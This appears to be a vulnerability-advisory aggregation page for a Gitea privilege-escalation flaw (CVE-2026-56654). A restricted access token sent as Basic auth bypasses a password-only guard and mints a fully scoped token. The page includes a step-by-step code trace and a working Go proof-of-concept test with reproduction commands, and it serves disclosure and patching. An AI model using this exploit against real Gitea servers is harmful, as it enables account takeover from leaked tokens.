Privilege Escalation via Access Token Scope Escalation in API
cve-program · CVE-2026-56654
PublishedPrivilege Escalation via Access Token Scope Escalation in API
Read the publisher's advisoryeuvd · EUVD-2026-58143
PublishedPrivilege Escalation via Access Token Scope Escalation in API
Read the publisher's advisorynvd · CVE-2026-56654
PublishedPrivilege Escalation via Access Token Scope Escalation in API
Read the publisher's advisoryosv · GHSA-683j-3ff6-hh2x
PublishedGitea's API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic <token>:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod="basic"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password. ### Data flow #### Step 1 - Token extracted from Basic auth header When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64 `VerifyAuthToken` then validates the token against the database and sets `LoginMethod = "access_token"` and `ApiTokenScope` to the token's actual scope (`write:user`): https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106 #### Step 2 - `AuthedMethod` is set to `"basic"`, not `"access_token"` `Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method's name — `"basic"` — regardless of whether a password or token was used: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65 #### Step 3 - `IsBasicAuth` is incorrectly set to true `AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `"basic"`. Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27 #### Step 4 - The guard is bypassed `reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401 #### Step 5 - No scope ceiling in the handler `CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128 ### Reproducing `tests/integration/api_token_scope_escalation_test.go` ```go package integration import ( "net/http" "testing" auth_model "gitea.dev/models/auth" "gitea.dev/models/unittest" user_model "gitea.dev/models/user" api "gitea.dev/modules/structs" "gitea.dev/tests" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) // TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two // interconnected vulnerabilities that together allow full scope escalation: // // 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in // the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth // handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true // even though the credential is a token, not a password. // // 2. CreateAccessToken performs no scope-ceiling check — it never verifies that // the requested scopes are a subset of the caller's token scopes. // // Combined effect: an attacker with a write:user-scoped token can create a new // token with the "all" scope, gaining full access to the account. func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) { defer tests.PrepareTestEnv(t)() // Non-admin user — escalation is meaningful and not trivially justified. user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2}) // Step 1 — Obtain a legitimately restricted token via password-based Basic auth. // Only write:user scope is granted; repository, admin, etc. are excluded. restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user, []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser}) defer deleteAPIAccessToken(t, restrictedToken, user) // Confirm the restricted token is blocked from repository-scoped endpoints. // This establishes the baseline: write:user does not imply read:repository. req := NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(restrictedToken.Token) MakeRequest(t, req, http.StatusForbidden) // Step 2 — Exploit: supply the restricted token as Basic auth credentials. // Authorization: Basic base64("<token>:x-oauth-basic") // // Basic.Verify() validates the token and returns the user. group.Verify() then // sets AuthedMethod="basic" (the method name). auth.go maps that to // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no // password was provided. CreateAccessToken then creates the token with the // requested "all" scope without checking whether it exceeds the caller's scope. payload := map[string]any{ "name": "poc-escalated", "scopes": []string{"all"}, } req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload) req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic") // This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed) // but is currently 201, confirming the vulnerability. resp := MakeRequest(t, req, http.StatusCreated) escalatedToken := DecodeJSON(t, resp, &api.AccessToken{}) require.NotNil(t, escalatedToken) defer deleteAPIAccessToken(t, *escalatedToken, user) // Step 3 — The escalated token carries the "all" scope. assert.Contains(t, escalatedToken.Scopes, "all", "escalated token scope must be 'all'; original token only had write:user") // Step 4 — The escalated token can now reach endpoints blocked to the original // token, confirming real privilege gain beyond write:user. req = NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(escalatedToken.Token) MakeRequest(t, req, http.StatusOK) } ``` ```bash git clone https://github.com/go-gitea/gitea cd gitea git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e # Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`. go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/ ``` A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.
Read the publisher's advisoryosv · GO-2026-6034
PublishedGitea: Privilege Escalation via Access Token Scope Escalation in API in gitea.dev
Read the publisher's advisoryAffected versions, risk and source history
Related advisories and sources
Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.
CVE-2026-56654 · CVE overview and exploitation status
cve-program · CVE-2026-56654
- https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0
- https://blog.gitea.com/gitea-1.27.0-is-released/
euvd · EUVD-2026-58143
- https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0
- https://blog.gitea.com/gitea-1.27.0-is-released/
nvd · CVE-2026-56654
- https://blog.gitea.com/gitea-1.27.0-is-released/
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0
- https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x
osv · GHSA-683j-3ff6-hh2x
- https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x
- https://github.com/go-gitea/gitea/pull/38406
- https://github.com/go-gitea/gitea/pull/38426
- https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31
- https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf
- https://github.com/go-gitea/gitea
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0
osv · GO-2026-6034
- https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x
- https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31
- https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf
- https://github.com/go-gitea/gitea/pull/38406
- https://github.com/go-gitea/gitea/pull/38426
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0
Related changes
Linked by CVE identifier- Privilege Escalation via Access Token Scope Escalation in API · Advisory content revised · 15 Nov 2026